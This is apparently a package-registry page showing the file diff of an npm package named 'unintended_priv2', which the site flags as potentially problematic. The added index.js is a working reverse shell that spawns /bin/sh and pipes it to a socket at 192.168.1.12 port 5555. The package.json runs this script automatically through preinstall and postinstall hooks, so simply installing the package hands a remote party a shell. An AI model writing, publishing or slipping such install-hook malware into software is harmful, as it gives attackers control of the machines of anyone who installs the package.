unintended_priv2 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of unintended_priv2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +12 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ (function(){
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("/bin/sh", []);
5
+ var client = new net.Socket();
6
+ client.connect(5555, "192.168.1.12", function(){
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application form crashing
12
+ })();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "unintended_priv2",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1",
9
+ "postinstall": "node index.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }